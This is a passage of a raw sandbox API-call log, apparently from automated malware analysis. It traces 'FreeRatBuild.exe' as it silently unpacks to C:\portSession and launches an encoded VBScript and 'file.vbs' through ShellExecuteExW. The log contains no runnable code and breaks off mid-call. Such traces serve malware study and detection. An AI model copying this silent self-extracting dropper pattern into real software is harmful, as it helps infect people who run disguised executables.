returned 0x4bd94a0 [0071.167] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0071.167] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a7, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a7*, lpNumberOfBytesRead=0x15cb90*=0x1, lpOverlapped=0x0) returned 1 [0071.168] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd94a0 | out: hHeap=0x4bc0000) returned 1 [0071.168] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c1a0a0 | out: hHeap=0x4bc0000) returned 1 [0071.169] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c1b168 | out: hHeap=0x4bc0000) returned 1 [0071.177] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c6c258 | out: hHeap=0x4bc0000) returned 1 [0071.177] CloseHandle (hObject=0x240) returned 1 [0071.177] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe"), lpFindFileData=0x1677d4 | out: lpFindFileData=0x1677d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8b24a00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xb94ae080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xc7920000, ftLastWriteTime.dwHighDateTime=0x1d9eafd, nFileSizeHigh=0x0, nFileSizeLow=0x23e134, dwReserved0=0x0, dwReserved1=0x0, cFileName="FreeRatBuild.exe", cAlternateFileName="FREERA~1.EXE")) returned 0x4bf8d30 [0071.177] FindClose (in: hFindFile=0x4bf8d30 | out: hFindFile=0x4bf8d30) returned 1 [0071.178] ReleaseSemaphore (in: hSemaphore=0x28, lReleaseCount=64, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0071.178] CloseHandle (hObject=0x28) returned 1 [0071.178] CloseHandle (hObject=0x23c) returned 1 [0071.178] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf55a0 | out: hHeap=0x4bc0000) returned 1 [0071.179] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c12090 | out: hHeap=0x4bc0000) returned 1 [0071.182] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c0a080 | out: hHeap=0x4bc0000) returned 1 [0071.185] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bfb998 | out: hHeap=0x4bc0000) returned 1 [0071.220] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf9808 | out: hHeap=0x4bc0000) returned 1 [0071.221] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bfa8d0 | out: hHeap=0x4bc0000) returned 1 [0071.223] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c6cdb8 | out: hHeap=0x4bc0000) returned 1 [0071.224] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c6d918 | out: hHeap=0x4bc0000) returned 1 [0071.227] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de48, nSize=0x1000 | out: lpDst="1") returned 0x2 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0071.227] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0071.227] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.227] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0071.228] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0071.228] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0071.228] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0071.229] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0071.229] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de48, nSize=0x1000 | out: lpDst="1") returned 0x2 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0071.230] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0071.230] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0071.230] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0071.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbe", cchCount1=-1, lpString2=".inf", cchCount2=-1) returned 3 [0071.230] GetFileAttributesW (lpFileName="lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe")) returned 0x2020 [0071.231] GetFullPathNameW (in: lpFileName="lBH8Ae92LPQZTdOYGlDr.vbe", nBufferLength=0x800, lpBuffer=0x14dde0, lpFilePart=0x14ede0 | out: lpBuffer="C:\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe", lpFilePart=0x14ede0*="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x27 [0071.231] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0071.231] GetProcAddress (hModule=0x75e00000, lpProcName="ShellExecuteExW") returned 0x75f9e690 [0071.232] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x14ed88 | out: lpflOldProtect=0x14ed88*=0x4) returned 1 [0071.232] ShellExecuteExW (in: pExecInfo=0x14ee08*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x14ee08*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x390)) returned 1 [0072.123] CloseHandle (hObject=0x390) returned 1 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 3 [0072.123] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0072.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbs", cchCount1=-1, lpString2=".inf", cchCount2=-1) returned 3 [0072.123] GetFileAttributesW (lpFileName="file.vbs" (normalized: "c:\\portsession\\file.vbs")) returned 0x2020 [0072.123] GetFullPathNameW (in: lpFileName="file.vbs", nBufferLength=0x800, lpBuffer=0x14dde0, lpFilePart=0x14ede0 | out: lpBuffer="C:\\portSession\\file.vbs", lpFilePart=0x14ede0*="file.vbs") returned 0x17 [0072.124] ShellExecuteExW (in: pExecInfo=0x14ee08*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\portSession\\file.vbs", lpParameters="", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x14ee08*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\portSession\\file.vbs", lpParameters="", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x3a4)) returned 1 [0072.562] CloseHandle (hObject=0x3a4) returned 1 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbs", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 3 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0072.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0072.563] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0072.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0072.563] GetDlgItem (hDlg=0x701ec, nIDDlgItem=1) returned 0x40374 [0072.564] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0072.564] GetProcAddress (hModule=0x74ec0000, lpProcName="EnableWindow") returned 0x74ef29d0 [0072.565] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb4c | out: lpflOldProtect=0x16bb4c*=0x4) returned 1 [0072.565] EnableWindow (hWnd=0x40374, bEnable=1) returned 0 [0072.566] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0072.567] GetProcAddress (hModule=0x74ec0000, lpProcName="EndDialog") returned 0x74ee9e60 [0072.567] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb5c | out: lpflOldProtect=0x16bb5c*=0x4) returned 1 [0072.568] EndDialog (hDlg=0x701ec, nResult=0x1) returned 1 [0072.681] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd6368 | out: hHeap=0x4bc0000) returned 1 [0072.681] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd6620 | out: hHeap=0x4bc0000) returned 1 [0072.682] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4beea28 | out: hHeap=0x4bc0000) returned 1 [0072.682] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0072.683] GetProcAddress (hModule=0x74a60000, lpProcName="DeleteObject") returned 0x74ae0810 [0072.683] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbd8 | out: lpflOldProtect=0x18fbd8*=0x4) returned 1 [0072.687] DeleteObject (ho=0x4802eb) returned 0 [0072.687] DeleteObject (ho=0x54050993) returned 1 [0072.687] IUnknown:AddRef (This=0x75798d00) returned 0x1 [0072.687] GdiplusShutdown (token=0xa714d0) [0072.703] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0072.703] GetProcAddress (hModule=0x75a90000, lpProcName="OleUninitialize") returned 0x75ab6eb0 [0072.704] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbc0 | out: lpflOldProtect=0x18fbc0*=0x4) returned 1 [0072.704] OleUninitialize () [0072.709] GetModuleHandleW (lpModuleName=0x0) returned 0xa10000 [0072.709] GetModuleHandleW (lpModuleName=0x0) returned 0xa10000 [0072.710] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf5168 | out: hHeap=0x4bc0000) returned 1 [0072.710] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bce248 | out: hHeap=0x4bc0000) returned 1 [0072.711] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bc26b8 | out: hHeap=0x4bc0000) returned 1 [0072.711] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bc24c8 | out: hHeap=0x4bc0000) returned 1 [0072.711] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bc72f8 | out: hHeap=0x4bc0000) returned 1 [0072.712] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bcc868 | out: hHeap=0x4bc0000) returned 1 [0072.712] LoadLibraryExW 